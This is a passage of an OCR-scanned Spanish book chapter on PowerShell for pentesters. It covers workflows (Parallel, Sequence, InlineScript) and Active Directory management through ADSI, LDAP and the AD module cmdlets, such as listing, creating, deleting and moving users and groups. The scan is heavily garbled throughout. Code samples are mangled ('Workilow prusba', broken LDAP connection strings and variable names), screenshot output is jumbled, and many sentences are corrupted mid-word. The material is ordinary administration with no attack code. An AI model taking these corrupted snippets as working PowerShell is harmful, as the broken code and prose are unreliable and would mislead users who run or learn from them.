Nessus. Puede ser utilizado en post-explotacion o identificacién y descubrimiento de activos,

Su Github se encuentra en la direccion URL .’Mps://gr'ﬂ'mb.com/darkoperalor/Posh—SecMad,
PEchecker. Estos scripts comprueban las opciones de compilacion y mecanismos de
proteccién como son ASLR, DEP, SafeSEH, entre otros. Su direccion URL de Github se
encuentra en https://github.com/NetSPI/PEchecker.

16. Workflows

Los workflows o flujos de trabajo permiten al administrador utilizar éstos para ejecutar tareas o
acciones en paralelo en la propia linea de comandos. Esta funcionalidad puede ser realmente it
para aprovechar el potencial de la méaquina y los recursos hardware y, ademads, automatizar de
manera més eficiente las tareas a realizar en el dia a dia del pentesting.

Estos flujos de trabajo aparecen en la version 3.0 de la linea de comandos de Microsafi y aporian

potencia al usuario.

Por qué los workflow en Powershell? Esta pregunta tiene una sencilla respuesta, la nube y los
centros de datos basados en Windows. La computacion en la nube proporciona alta disponibilidad,
servicios escalables que aprovechan un gran volumen de datos, etcétera.

;o;-lg‘iom

La gestion del cloud tiene que ser fiable y para disponer de esta fiabilidad se integran los w
soportal

en Powershell. Suelen ser flujos de trabajo de larga duracién que estan disefiados para
errores de los componentes o dispositivos de red, es decir, resistir a los fallos.

Powershell se aprovecha de la escalabilidad y la madurez en la que se encuentra Windows Workflo¥ -
Foundation 4.0 para llevar los beneficios de los flujos de trabajo a los desarrolladores en Powers J

Los objetivos principales de los workflow son los siguientes:

F

b estd en la direccion URL hitps://github.com/Veil. |
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- Minimizar la complejidad de | izacid S
a automatizacion a través de un gran namer 1
numero de eq 65
centro de datos. ) o

- Realizar mayor nimero de tareas en paralelo para lograr una optimizacién de tiempos

Se mejoraron los siguientes aspectos:
- Flujo de trabajo simplificado.
- Reutilizacion del conocimiento existente, es decir, en Windows Wolflow Foundeation.
- Realizar un flujo de trabajo fiable.
- Rendimiento y escalabilidad.

El flujo

para la creacion de flujos de trabajo se ha reutilizado la sintaxis de Powershell. Este movimiento de
Microsoft se produce para facilitar al usuario que ha invertido tiempo en el aprendizaje de esta linea
de comandos. Los workflow XAML, eXtensible Application Markup Language, son compatibles
con Powershiell, por lo que si se disponen de este tipo de workflows seguirdn siendo compatibles

Si el administrador o pentester escribe con asiduidad scripts en Powershell serd realmente sencillo
el CSCI‘Fb]r los. flujos de trabajo. Se aprovechara los conocimientos que se disponen para el desarrollo
de seripts y simplemente afiadiendo nuevas, pero pocas, construcciones se generardn los worlkfows

.'\me.s‘ de ver el esqueleto de un workflow se debe tener en mente algunos conceptos como son la
seceion paralela y secuencial que seran estudiadas més adelante.

A continuacion se especifica el esqueleto de un worfkflow y el aspecto que éstos tienen:

primer lugar se indican mediante la palabra reservade workflow
iflow prueba { 7 J
= ;

a por pantalla la frase hola mundo!

ndo !

Hay que acar slerr indi
prigr? S‘deslaudf que el cierre de llaves no indica el final de la ejecucion como se puede pensar a
e l.. llSkI.:)CSL['lbIEbCI'l ordenes despuds del cierre de llaves, antes de indicar el final del workflow
a palabrz : ' i i i i e la
msmmgionem que da nombre al flujo de trabajo. se ¢jecutarian previamente al lanzamiento de las
§ que se encuentran en el interior S i ; W
cbdigo; or de las llaves. Como ejemplo se propone el siguiente
VEn

‘]

Primer lugar se indic i

I er lugar se indican med te la palabra reservad =
kflow prueba | diante la palabrz reservada workilow
o mostrard por pantalia 1a f
hola munde!”

hela mundo!

'.".Ear-host
*et-childiten
Prueba
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Directorio: C:\Users“\Administrador

25/86/2812 GContacts
25,06 /2812 Desktop
25/06,2812 Documents
25,086 ,2812 Dounloads
25/86,2012 Favorites
25/86-,2012 Links
25/06,2012 Music
25,06,2812 : Pictures
25/06/2812 Saved Games
25/06,2012 Searches
25/86/2012 Uideos

pruebat
Fig. 2.26: Ejecucion de-un workflow bdsico.
& 7 !

Existen ciertas palabras reservadas para optimizar y configurar la ejecucion de los workflows. Se
puede requerir ciertas tareas en paralelo y otras de manera secuencial. Para ello se dispone de las
palabras reservadas Parallel y Sequence. La seméntica es bastante sencilla, si en el cuerpo de un
workflow se indica un campo Parallel abriendo llaves se especifica que las tareas que se escriban en
¢l interior de ese campo se realizardn en paralelo. Por el contrario si en el cuerpo de un workflow se
indica un campo Sequence se indica que las tareas que se encuentren en el interior de las llaves se
ejecutaran de manera secuencial, es decir, siguiente el orden de aparicion en el seript. Como ejemplo

se puede observar el siguiente:

Get-childitem

gunda tarea”

prusba

Directorio: C:NUsers

LastWri e NMame

| sl

Q;ﬂpf’.'szo II. Scripting en PowerShell

Se puede observar como la ejecucion en paralelo puede provocar que cuando las tareas requieran
utilizar el recurso de la pantalla la salida de informacion sea entre medias, y ejecutando varias
veces el mismo worlkflow la salida o presentacion de la informacion se en distinto orden. Se puede
visualizar como las dos tareas son ejecutadas simultaneamente.

Fn el siguiente ejemplo se ejecuta dos tareas en paralelo, pero una de ellas tiene varias instrucciones

secuenciales.

=
jat}
2]
=
=
=
i
(]
m
ot
o
=
m
AL}
m
§
o}
i
H
W
—
113
k
[}

secuencial”

Directorio: C:\Users

LastlWriteT ime Length Name PSComputerName
25/86.,2012 Administrador
19.,85/2812 Puhigé ol
19/872/20812 142 i64.txt

19/87,2812 2114 proc.txt

localhost
localhost
localhost
localhost

unda secuencial
PS C:\Users> ib4d
Directorio: C:\Users
Length Name

LastiriteTime PSCGomputerName

25/06,20812
Segunda tarea
e 19/85-,26012
19,87/2812
19,072,2812

C:\Users> ib4

Directorio: C:iUsers

25+,86/2812
19,85 /2012
tarea
19/82/2012
19/87.,2812

LastWri

fidministrador

Public
ib4d.txt
proc.txt

Length Name

Adminis
Pubhlic

ib4.txt
proc.txt

Fig. 2.27: Ejecucion en paralelo.

localhost

localhost

PSComputerhant

localhost

25/86,2812
19852812

19/87,2812
19,87,2812

Sequnda tarea

Administrador
Public

142 i64.txt
2114 proc.txt

localhost
localhost

localhost
localhost

egunda secuencial

Fig. 2.28: Ejecucion en paralelo con tareas secuenciales.

Se puede R o oA : . e

_puLdL observar en el codigo como existen dos tareas en ejecucion paralelas, mientras que la
rimera tarea paralela di : : : ¢ : :
p urla tarea paralela dispone de dos instrucciones secuenciales. En la ejecucion se puede visualizar
como imera tar et et : : :
- a primera tarea paralela ejecuta dos subtareas o instrucciones de manera secuencial y en

0y aL +: 4 J
BUn caso se ejecutara la segunda antes que la primera.

Pore] ¢ —
COl ar Q o i

iy ‘_ntmno st que se puede solapar la segunda tarea que se ejecuta en paralelo con las otras dos
>Hucciones que componen la primera tarea paralela.
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Algunas instrucciones pueden provocar errores en el cuerpo del workflo
la tarea o subtarea. Es por esto que se utilizan los InlineScript, son pequenos blogues de seripf que se
ejecutan en el interior del workflow y permiten ejecutar esas instrucciones que anteriormente daban

wy no ejecutarse o completar

error.
Un ejemplo de codigo y ejecucion de InlineSeript es el siguiente:

Workilow prusba{
tareas en paralelo
Farallelq

1o

o

get—childitem

“Segunda secuencial”

InlineScript{
Sa=1+20
Sh=8a+l
sh

5}

| InlineScript 5
: En ejecucidn

1.6 Linea i64:6 char:6

PS C:\Users?
PS C:\Users> i64

Divectorio:z C:NUsers

LastUriteTime Name PSComputerNam
11:84 Administrador localhost
Public localhost
i64.txt localhost
proc .txt localhost

25/B6,2012

19,85/2012 11:35

19,07/2812 14:49

19,872,2012 14:51
Seqgunda secuencial

Fig. 2.29 : Ejecucion de InlineScript.

17.Otros productos

En este apartado se estudiara la interaccion con productos de Microsoft, como el directorio activd
o Internet Information Service. También se explicara la mejor forma de utilizar los cmdlets Q%
proporcionan los médulos de directorio activo y de 1IS. Esto proporciona una idea bésica al pentester
que puede utilizar esta informacion para sus scripts, como hacen muchos fiameworks de 10s que €

estudian en el libro.

|
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Directorio activo, ;Por qué?

[l directorio activo permite a los administradores gestionar los recursos, usuarios, permisos, politicas
. . : - - B 5 5. ds

de seguridad de manera centralizada. Esta implementacion utiliza distintos protocolos, como pueden

ser DNS (Domain Name System). Kerberos, LDAP (Lightweight Directory dccess Protocol)

Se puede visualizar el directorio activo como una gran base de datos centralizada, accesible desde
una red distribuida y organizada. En el directorio activo se dispone de objetos. que pueden ser
Lsuarios, recursos y servicios. o

Elobjetivode es_te apartado es explicar las herramientas que se disponen en Powershell para gestionar
¢l directorio activo. Las tareas realizadas con Powershell sobre el directorio activa pucde; resultar
de gran utilidad al administrador en el instante de gestionar los scripts para la automatizacion de

tareas.

Para versiones previas a Windows 2008 R2 se dispone de ADSI, Active Directory Service Interfaces
¢l cual soporta distintos tipos de directorios, por gjemplo. LDAP o la base de datbs de cuentas Ibcalé;'
de Windows SAM, Security Account Manager: ADSI no aporta rigueza seméntica a Pr;n‘@';'hﬂ’f \:1
que no existen emdlets. Cuando se requiera trabajar sobre bases de datos de cuentas Iocales; qer (lL.b
utilizar ADSL, y en versiones servidor donde no se disponga de la posibilidad de utiiiza.r el 1;1r'>dul[:
de directorio activo de Powershell también.

En Windows 2008 R2 se dispone de un modulo para Poveershell para la gestion del directorio activo
I:sl.c modulo aporta gran flexibilidad y sencillez para realizar las mre;s de gcstiéﬁ- del clh';cuu'i(;
activo y su uso, siem.pre que se pueda. es altamente recomendado. El m&iu]o dispone de un
proveedor. como los vistos anteriormente en el libro, y un conjunto de emdlers para la interaceion
con el directorio activo. s

ADSI: La API para equipos locales

.\]I)Sl puc.(lc interactuar con la base de datos de cuentas locales de los equipos cliente de Windows
;‘.\Li\/l\usmms be1§1dur a excepcion del controlador de dominio. Esta base de datos denominada
AT » TRl kL -y 2 o 7 3 o g . o = ¥

, .aiurfuum objetos de tipo usuario y grupos de usuario. El proveedor que se utilizara la accader
a estos objetos es WinNT: v hay ificar i i i

jetos es NT: y hay que especificar que las mayisculas y mintsculas S

! ! \ 5 mays Sy sculas. en esta ocasio
tienen relevancia. Y L R

Para gestionar este fino ¢ .

" ;] : |:ma; este tipo de bases de datos se intentara buscar una estrategia para, en primer lugar.

sponer de N o 4t i s ’ : e

u'“:’h | de una -Iogi(,a y conocimiento de lo que se va a realizar. y en segundo lugar. optimizar el
8O de seripting para seguir un patron e intentar automatizar el proceso.

El primer paso sers . ;

qlf’:‘:“(;:bpj::t:t;tia"llt\?al la—cozex@n‘? la mfiquitm, i lt?'cal 0 remota. Para ello la instruccion

WinNT: 5 e _Cuneda 1 ];L;:’{ = [ DSI] W{rﬂ ﬁ/?<m_aqmnff> - La‘mstruccién utiliza el proveedor

b o s 3(;,” 4 ;j;l;];l q]l/]l;’:l s.\eqn:eqtllela. si la 111aquum fuera ]ocgl se deberia ejecutar la

b s e g ]’ inl /8 (hosmame)”. Para cualquier interaccion con la SAM
a maquina.
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Una vez se dispone de la

conexién abierta se puede empezar & realizar consultas, inserciones o

modificaciones sobre la maquina. Es importante, para entender la estructura en la que ADS] trabaja, l
visualizar la maquina como un arbol donde la propia maquina es la raiz. Cuando se crea un objetg
usuario, éste colgara de la raiz que es la propia maquina. Cuando se crea un objeto grupo, ¢ste se
encontrard al mismo nivel que el objeto usuario. Dentro de los grupos se encuentra una lista de
miembros, por lo que el objeto grupo ser4 el padre del objeto miembros de usuarios de dicho grupo,

WinNT://<maquina>

|
\IWinNT: //<maquina>/<usuario>—

e e e

WinNT://<maquina>/<grupo> | WinNT://<maquina=/<senvicio® ‘

1——\J\ﬁm\rr :ﬂ<méquina>l<grupo>/<miemhms=

L

Fig. 2.30: Aproximacion a ler estructira WinNT:.

En los siguientes apartados se estudiard como realizar distintas acciones sobre usuarios 'y grupos,
pero se dispone de una estrategia global de como se realizaran las distintas consultas o modificaciones
sobre la SAM a través de ADSI. Por ejemplo, si se requiere colocar la conexién en un objeto grupd
concreto, en vez de abrir la conexion como se explicd anteriormente, ¢ deberia bajar un nivel enl
estructura de la siguiente manera Scon = [ADSI] PWinNT-//<mdquina>/<nonibre gru,')o>.gmup"-

Lo dificil en la presente estrategia es saber que propiedades y métodos utilizar para obtener i

informacion. Para ello se veran distintos ejemplos en los siguientes apartados.

Ejemplo 1: Listado de usuarios
En primer lugar y siguiendo la estrategia definida en el apartado anterior se cred la con
apuntando a la raiz de la estructura. Después se invoca a los elementos que cuelgan de la raiZ P
quedarse con los que son de clase user. Una vez realizada esta accion hay que mostrar el nombres
esos elementos. Para el ejemplo también se obtendra el tltimo login.

r'f
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spon = [ADSI]"WInNT://$ (hostname)
.Cn{ldre: | where{s .psbase.schemaclassname —eg ‘usex’ )
e ¥ Ll - = 24 B}
Foreaph {Write-Host § .name § .lastlogin} A

;Que DFOpl?d?deS se }_)uede obtener de los usuarios? Esta interesante pregunta que respondida
X ; _ e i S

cuando al cédigo anterior se le elimina el ultimo bucle, obteniéndose la lista de propiedad :
puede consultar de un usuario. Propicsates quese

Ejempl(]Z: Listado de usuarios remotos

Con el siguiente ejemplo se quiere generalizar i
en las acciones remotas co
nA
de cuentas locales. DSI en bases de datos

Es importante recalcar que existen distintos métodos para acceder a la lista de usuarios de la maqui

B ] i 5 T maquina
remota. El presERiE ejemplo especifica como utilizar ADSI para que interactie de 1 .
con otra magquina, manera remota

) . A H i 1 i

{ ardll:;g:w. e_sftz_‘obje]two fleb.e cumplirse una premisa y es que el usuario con logueado en la miquina
oca . ehe ex];tu §n a maquina remota y ser administrador. Tras este requisito, el codigo del ej l‘
anterior cambia simplemente en la conexion. . il

I]"WinNT://<nombre maquina remota>”

on. Childre h o
SR eE L ren | where($_ .psbase.schemaclassname -eqg ‘user’ | e oo
properties} | foreach {Write-Host $_.name §& .lastlogin) / =i | SRS
5 -  LAdsrlbgin

=5
i

Ejemplo 3: Crear usuario

En primer lugar, ¢ asiones i
‘] ]apn: }qll.lusoar._ Lomlo en][as ocasiones anteriores, se debe crear la conexion apuntando, en este caso
a la mdquina, ya sea local o remota. Se dis 3 i . - -
; pone de un método denominado C
i i e : o o Create al cual se le pasa
: ario y el tipo wser. Se puede, y es recomendado, asignar una contrasefia al uqu;io
con = [ADSI]“WinNT://<nombre magquina>” L .

Susuario = $con.Craa ‘use
) on. Create ( ‘user’ ;<nombre vsusrioe>)

;
asgword (<egntrasafias)

vSetInfo ()

I'I llombl't, d bt i de texto. ] etoao tn caliza 13
* € us
i' l Ll{}l‘lo Y |a cont aseia deben Ser una Cddena fex | : d SE’ /U 1 i
suario pe“nal ente dei LIS{lali() en E:] SISteDla. POI dC‘fLCt(), el usua liO debﬂé La]“biﬂl

la contrasen igui
asena en el siguiente inici ic
: g inicio de sesion -a realizar reacio
& y para realizar la creacion de | i
poner de una Powershell con elevacion de privilegios MRS

Elemplo 4: Eliminar usuario
Pana la eliminacion de

R un usuario simplemente de jecutars z S 3
objeto que es, yser p be ejecutarse el método Delete indicando el tipo

L] Nnomaore (le i £d ¢ i 1 a ] (8] €
|i l y" bli: l usuario qu(.‘. se des ]“Tlln T. 5].1])1168[0. en pl‘ii]‘l - lugﬂ.r
I ar la conexion ametal‘ldO a la n‘lﬂqu”la, C[Lle €8s el IliVeJ d()l]de Cue]ga“ IOS USuaI'()S
(“DSI]"%inN i - 1 '

on., t//<nombre maguinas”
Delete (‘yser’ aquinas

<riombre usuario>)
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ADSI: La API para Active Directory
El directorio activo podria ser tratado con el proveedor WinNT, pero se simplifica la gestion utilizando

¢l proveedor LDAP, que esta creado especificamente para este uso. La estrategia para la gestion del

directorio activo es similar que la utilizada con WinNT. En primer lugar se deberd conectarse al

objeto del directorio activo y realizar su administracion.

s valores en el momento de la conexién,

LDAP utiliza unos parametros especiales para indicar cierto
En la siguiente tabla se facilitan

consulta, modificacion de valores de los objetos del directorio activo.
los utilizados en el presente apartado.

Parametro Descripeion
CN Identifica el nombre del abjeto
ou Identifica una unidad organizativa
DC Identifica ¢l componente de dominio
DN Identifica de forma univoca un objet(? en la estn.mtura del directorio. Se
puede ver como la ruta hacia el objeto, especificando CN, OU, DC

Tabla 2.10: Parametros LDAP.

on Name, y se va especificando los

El DN. Distinguished Name, comienza por el CN, Comm
io, es decir, pasando por las diferentes

elementos que hay por encima del objeto hasta llegar al domin
OU., Organizational Unit, hasta el DC, Domain Component.

Conexion al AD

6n al directorio activo puede realizarse en local o en remoto. Esta tltim
generalmente, la mas utilizada para administrar distintos dominios. Para realizar la conexion a la
raiz del dominio actual se ejecutard el siguiente codigo. No se especifica ninglin objeto concreto, ya
que no se tiene porque saber que objetos componen el dominio. Esta conexion es ideal para, una vez
conectados. realizar la busqueda de objetos a traves de la estructura.

La conexi a conexion es,

[ADEI]’LDAP://DC=164,QC=1Q¢51’

SaH6mindc
#otia 7 equivalents es
sdominie = [ADSI]"’

Si se requiere una CONEXion a un objeto en concreto, seria tan sencillo como almacenar ¢
una variable el objeto que devuelve la cadena de conexién, Sdominio = [ADSI] "LDAPA
CN=<obhjeto> OU=<nombre OU>. DC=<dominio>,DC=<dominio Fers

a conexion con las credenciales de otro ustiario administrador, ya sea para conectar
porque se desea utilizar

ET Framework System
distintas clases de NET

Para realizar un
4 otro dominio distinto en el que no se encuentra la maquina origen o

otras credenciales en mismo dominio, hay que utilizar la clase de .N
DirectoryServices.DirectoryEntry. Se explicardn a lo largo del apartado las
Framework que son necesarias para la administracion del directorio activo.

r
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N

La sintaxis es sencilla, hay que crear un objeto de la clase anteriormente com {a indi

en lf.l %‘adena el nombre del dominio o IP a la que se requiere conectar, el Lzsme__mﬂt a iﬂdllCando
;1dmll]lStI‘3dUl’,- y la contrasefia. Un ejemplo de esta sintaxis es: Sdnmm-fu = f\r;ljo(q){q}]e' dEt?u -
DirectorvServices.DireciorvEnty(LDAP://<IP o nombre dominio>", "<usy ar} il .Jj?%r_s‘,"w?mf
ceontraseiia> ). SR o administrador>",

Buscar objetos en el AD

U'”a Vez SZ - [e-smdlado como realizar las conexiones con la estructura del servicio de directorio la
busqutl’da e owjletos vaa resultar muy sencilla. Se utilizara un filtro con el que obtener los objetos
requeridos por el administrador y 2 métodos que mostraran todos los valores filtrados o ¢l prime 2
los encontrados. : el primero

La billsquesia sevaa p_oder reghzar de cualquier tipo de objeto. incluso se podrd utilizar metacaracteres
con los que conseguir ampliar el abanico de la busqueda. Para la busqueda de objetos se utiliza |
clase de NET Framework System.DirectoryServices. DirectoryvSearcher : o

La estrategia que se seguira es la siguiente, en primer lugar se obtendré la conexién al dominio rai
ya sed local 0 1‘emo:t0= o la conexion al objeto en concreto sobre el que se requic - Om[H’“O o
a partir de dicho nivel. Una vez creada la conexion se creard el objeto de hflll e iL‘ma usqueda
la clase n?encmnada antertormente. Este objeto dispone del método Fifrer el 5}1117{ aaa pa.rf“- i
para, mediante reglas, filtrar los objetos. Por tltimo se utilizara los métodos 7, mc;()?wsc: lfi i:i?ilﬁadg
All: €

funcion de si se quiere mostrar el primer objeto filtrado o todos los filtrados

=164,DC=1opzal”
em.DirectoryServics 318 5

i gotoryServices. DirsctorySearcher (Sdomird o)
on>)’ o

Hay que recalcar o :
u :(’) iI(') i dlt«tlj o el filtro puede llevar comparaciones compuestas, es decir, con Y logico
gicos. Un e s = i ) Y g ZI1C0s
. 08, L ejemplo de esa comparacién seria Shusqueda. Filter="(& (cor e
{comparacion2) : ‘ comparacioni)

Ejemplo 1: Listar equipos

LI ((’(lluﬁ e T'e ¢l 5] € cncue el dominto sonre e € S¢ na re Zado
pl] | |]Sl’1[ ]OS ]LllpOS q 1€ 5
nc ran en
. 0] I S I a adc Ia

SI]"LDAR: //BC=1Iipaths,PE=1cgeal’

"ilter=" (o

Find&A1l

Ejemplo 2: Listar usuarios y grupos

El codi
. 120 para el [ e o
mis que lo filL ;tado de usuarios y grupos es similar, salvo que en los usuarios hay que listar
rado pertenece a una categoria denominada persona
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Sbusgueda = Ne Ohject
Sbusquvda.Filter='(&(ub‘
4parz grupos Sbu gueda.

s
shusqueda . Findall

D

Searcner (Sgeminio)

Administracion

La administracion sobre el directorio activo se realiza, principalmente, sobre usuarios, grupos y

unidades organizativas. En algunos casos el codigo para llevar a cabo ciertas acciones es similar

entre estos objetos.

En el presente apartado se explicaran de manera conjunta las acciones similares entre estos objetos,

y especificando los casos en Jos que no son iguales.

Ejemplo 3: Crear objetos

En el siguiente ejemplo se muestra la creacion de objetos, usuarios,
Se utiliza el método Create, Put 'y Setlnfo. El primer método crea el objeto sobre la ruta LDAP
especificada en la conexion. El segundo aplica cambios sobre el objeto y el tercer método hace
¢l objeto persistente en el directorio activo. Estos métodos han sido estudiados en el apartado de

grupos y unidades organizativas,

gestion de cuentas locales.

reacion de usuarios es altamente recomendado utilizar el atributo UiserPrincipalName, para
utiliza el protocolo Kerberos en vez de
d organizativa o en laraiz

Enlac
aplicar seguridad mas alta en la autenticacion, ya que se
utilizar NTLM. Los usuarios pueden almacenarse en un contenedor, unida
del dominio. En el ejemplo, se al macenaré en el contenedor de usuarios.

’

lpathS,DC:10651
<nombra usuarioz’)
sty

. 1

?Ht(‘USEIPTLﬂCl?ElNBmE’,'<DOHbru usuiziv)@]lputh&.lo:al'

Sdominic =

F snompre: 4s

E;suarjw.SGtInjzu

La creacion de unidades organizalivas s similar a la creacion de usuarios, simplemente hay qué

indicar que lo que quiere crear es una ou.

ruta mediante LDAP

ralUFit’, fot—<nombre ouz")

. . ) n
a. la cadena de conexion seria Sclominio '_;;-

'll
1

Para crear una unidad organizativa en el interior de otr
[ADSI] ' LDAP://OU=<0u padre>DC=11 paths,DC=local .

=

Ejemplo 4: Mover objetos

Para mover objetos dentro del directori :
también se utiliza para renombrar el nombre de los objetos. La semantica es sencilla, en P

lugar, se crea un objeto que apunta a la ruta del proveedor LDAP, esta ruta €s el destino del 0

o activo se dispone del método Movelfere. Este mé

r

Capitulo 1. Scripting en PowerShell

que se quiere mover. D is ge o g
fue q Lk Despucs, se ejecuta el método MoveHere pasando con .
ser el origen, del objeto que se quiere mover. 10 parametro la ruta, que

a1 un usuaric de un contensdor a atro
—rino

5 r =T i . 1 i

v.“j ﬁiiD&.] fD?P.//CN=Bu11t1n,DC=1lpaths,DC=lcc‘]’
tino.MoveHere ("LDAP: //CN=<usuario>, Cli=Users, DC=1 e

ey BB sers, DC=11paths,DC=1local",
iMover un grupo de un contenedor a otro

ting = [ 1

'CN= <nombre

ADST]'LDAP://CN=Users,DC=11lpaths, DC=local’
5, DC=log

<nombre

Cmdlets desde Windows 2008 R2

La version Windows Server 200 Tz i

iy e e:i ; \?({c? R2 (lj51301ie’de un modulo, que se instala en el servidor cuando el

surial dipetario st con?bl e_éfl?O. Este modylo aporta un proveedor con el cual poder nav-»our.-

s o Bl el Cllazl t:-etrf‘ngse del .S]%;temal fje archivos. También aporta un conjum;:;el

ikl ne il el ol asﬂ e admnusu-a.mon sobre el directorio activo. Para carear el

S sboe i mport-Modufe. La instruccion para cargar el modul el
¢ irectory. o es Import-

El proveedor de Active Directory

OV (‘(2“ acilit a da gacion s?(? cl1 (jL 18 d COIm © suario se
} Ve 11a
veoa Cl Veg 1 re (1 [ 8 K Q a VO 0 kil mo s
> oan X 2 ] j I
Lot < £ ¢ pOr 1S l hIVOA I., ! 4] p Utl] & I LL [’
cencontrase n Lt ) & S ema de arc s ] , 1 € oveedac S€ puede 1zar 108 chdiets

basicos para crear, elimi :
a: ara crear, elimin: ; :
P . o inar, l.1star y moverse por el sistema de archivos, salv
s se realizan sobre el directorio activo s, salvo que esta vez las

Una vez el mo ;

4 odulo de Active Director ;
e ldde_a‘cnm Directory estd cargado se accede a él con la instruceion ed
ase de w5 Tetar i o struceion ed ad: ¢ s
' unidad. Para listar el contenido, directamente /s o ot-ehiildiien on ¢d ad: como si
" b SRl HT.

N\Users\Admindst 5
)13 Cot=CRETIep T T

DistinguishedName

dun?inDNS
configurati
dMD guration

i

ni i(“”‘l\ti()n
nena
minDnsZones
estDnsZones

ib
CGN=Conf iguration,.DC=i64_ DC=local

CN=Schena,CN=Conf igurati i
DCfDomainDnsZones}ggi?giogégg:164’DC:local
DC=ForestDnsZones,DO-164,DO-Tacal

domainDNS
domainDNS

Fig. 2.31: Acceso v lis
: : Acceso y listado de recursos en el proveedor de Active Directory,

Para |
4 Navegacio os distintos contenedores de] d
n entre los distintos ¢
5 cont res del directori i ili
ctorio activo se util
1za el comando cd o

Set-locayi
ton. La nay 10

egacion se reali

AP e realiza con las ruta i

el i svicnl s completas que se estudiaron con el proveedor




PS AD=N> get—Location
pS ﬂD:\DC=iG4,DC=1ocal) 1s

OhjectClass

builtinDomain
container

Computers

iDomain Gontrollers
ForeignSecurityPr..
Infrastructure

organizatiunalu
container
infrastructurel
lostAndFound
container

INTDS Quotas
Progran Data
System

container
container
container

Fig. 2.32: Cambio de

Ejemplo 1: Crear objetos

Para la creacion de objetos existen los
estudiaré la creacion de usua
especifica el emdlet para cada requisito.

‘.\DC=i64,DC=10ca1’

neDS8—0uotaContainer

rios. grupos, unidades organizativas y €
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Dist'nguishedName

G wiltin,D 64,.DC=1local
CN=Computer3,DC=i64.DC=luca1

Ol=Domain Cnntrollers,DC=i64,DC=loca1 :
] CH=FarBignSecurityPrincipals,DC=iﬁ4,DC=1oca1
pdate CH=Infrastructure,DC=iB4,DC=luca1
CN=LostﬂndFound.DC=i64,DC=1oca1

CN=Managed Seprvice Rccounts,DG=iSd.DC=1QCa1
CN=NTDS Quotas-DC i64.DG=local

CN=Program Data.D 64,DC=1local
CN=System,DC=iBé,DG=loca1
CN=User5,DG=iB4,DC=10ca1

nit

contenedor v listado de objetos

En el siguiente ejemplo se
quipos. En la siguiente tabla se

emdlets cuyo verbo es New.

Cmdlet

—

Descripcion

New-ADUser

Crea un nuevo usuario en el AD

New-ADGroup

Crea un nuevo grupo en el AD

New-ADCompitier

Crea un nuevo equipo en el AD

Ney v-ADOng‘.'f:aIimmi Unit

Crea una nueva unidad organizativa

Tahla 2. 117 Cmdler de creacion de objetos.

Estos cmdlets disponen de bastantes parametros para 1
a siguiente tabla los més interesan

continuacion se muestra cn |

a creacion personalizada de los objetos. A
tes del emdlet New-ADUser.

R
Parametro Descripeion

4____—‘

Nare Nombre del usuario
Indica si la cuenta debe estar habilitada o deshabilitada. Se espe
Enabled - y s
cifica con las variables booleanas $frue © $false
" Indica una nueva contrasena. Se debe especificar en formatd
AccoutPassword )

SecureString

pecificd |

z = In
CannotC hangePassword

dica si la contrasefia se puede cambiar 0 10 Sees
mediante valores booleanos

ChangePasswordAtLogon

Indica si la contraseria debe modific

arse en el siguienté in

icio Q

sesion

Tablu

2.12: Pardametros de New-ADUser:

(‘j({ll?.'.ff:'llf.) ‘[[ S(‘f‘f])ff.n‘g e P(N l“(ff"t?,"?{)[’f

[l siguiente codigo crea -

i*b‘lh"icambi'u' lab - un usuario con nombre Pablo, el cual no podra i

debert ar la clave en el siguiente inicio de sesion y la cuenta estd | G'[éall]blar la contrasefia.
N sta habilitada,

por seguridad el parametro de la clave s i
o Objefé pernd qjc la clave se obtiene mediante el cimdiet Ger-Credential
R e, 7 V ) Lk H
po SecureSiring. por lo que hay que acceder al atributo ~ P‘;]O sy
password que es de

1]

‘asswordAtlogon Strue

En la ereacion de grupos h . -
dispone de gran czamti%ad c? S o s BUEER &1 BRI (Gl sniven Nl B

g e propi ’ ; obal. Este cma
e el visual ’pmpledades, que merecen estudio por parte d 5 iste cmdlet
tabla se puede visualizar algiin pardmetro interesante e e

Parametro
Descripcion

Name
Nombre del grupo

GHN:‘/(&'IG ar Q ])()ﬁ € d1s U 1 SEeguridac
e 5.5 [ndlCc 1 t‘,|

£ S d riga
P 7 oy S aru on o D(

GroupScope Indica el ambito del grupo. Puede ser
— DomainLocal Global, Universal
Path ndiea la ruta del contenedor i
oI Sl A et :
or 0 unidad organizativa dénde se crears

el objeto

Indica las ¢ i

a las cre & o : i

z denciales con las que el objeto se creard. No confundi
st ] i dir
con las claves de los objeto usuario

Credential

Tabla 2.1 3: Pardmetros de New-ADGroup,

|‘\[L €1 = p =
f.Udl‘..'U PDI'C d L
] | Q ona Ia creaclo grupo I
[' ulente i 1Q1IC i dﬁ U1 U]()ha en 1(.1 ruta (]]Cﬂ a pO L] LSuaric
)

roup -—Name miGirupo

it o 3 -Eroups
1y DS !_l[ﬁ:;’jl_[_;-‘,,lu‘_r‘::.‘-ﬂ:r,—_lr -

Ejemplo 2: Buscar objetos con filtros

Para e i 1 b { ( L)(i(.

dl[f.l I us I | das
. s b 1S antrO dCI ll- i i
I' 1sten (s 5 directorio aclivo es .I teresante ¢ ocer el concept L t
Xisle dl.‘;“nlo\ hll]Ub (& ¢ i : | ¥ 5 l - ‘ 7 |
% B on ] Bl T i OI ‘ |
-n(III i; L 1‘d o l & |Ob que ] 0d€1 leal]lﬂl' |ElS b{tlbqllcdd' S, Pero l(' ql.(_ nay )L .lleu {d (-ﬁj iy
fc & ) ( A 108 hl[]‘DS son lOb metacaracteres - l S I Xi []i iad \’;

El filtro LD
) LDAP es real A
. s ment i - ' ;
cmdlet Gc’.’-z‘ll)()."?fe('; pcrm'i““L s 'todo si el usuario conoce la sintaxis de las bu
de distintos "bjt’lés Bt s ] ;]LDn.sulmr informacion del directorio activo c;e reali: a_! usquedas. El
bisqueda de objetos ‘ste cmlet dispone del parametro LDAPFilter, el ¢ ] e = S-SRI s
0s que encajen con el filtro LDAP indicado . Mo e e onligs I
En el sigui S
el siguiente codi
digo se pue
Por la letra p. pue

;fbADObTG-;::
¥Se devue) ‘\.'r.;

€ VIS Llaljza] un tro pala cC l])e ar lo§ usuarios que e
d ﬁl YAP <
l 5 (0] ] 11]Ji(;zdl1

—LDAE
todos

3 .
(& (ebjectCategory=user) (name=p*) )’
suarios 5 T
& s cuyo nombre empieza por la 1 P
o) etra

los

o
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] ¢ dlet i- g) iltro g é 1CO « el quc l'e'dlizﬂl' bl:lSqULdaS d3

el Ge ADO!’]E’(I {ambién dispone de un hll.l(] Den 11C o1 | e o .
; i - [ & g et.I‘O (o ilter el Cual r@CibE como entr adﬂ una Cﬂ.de na {le caracteres co a ql. € se
Ob etos. ste param ] &

i jes macion.
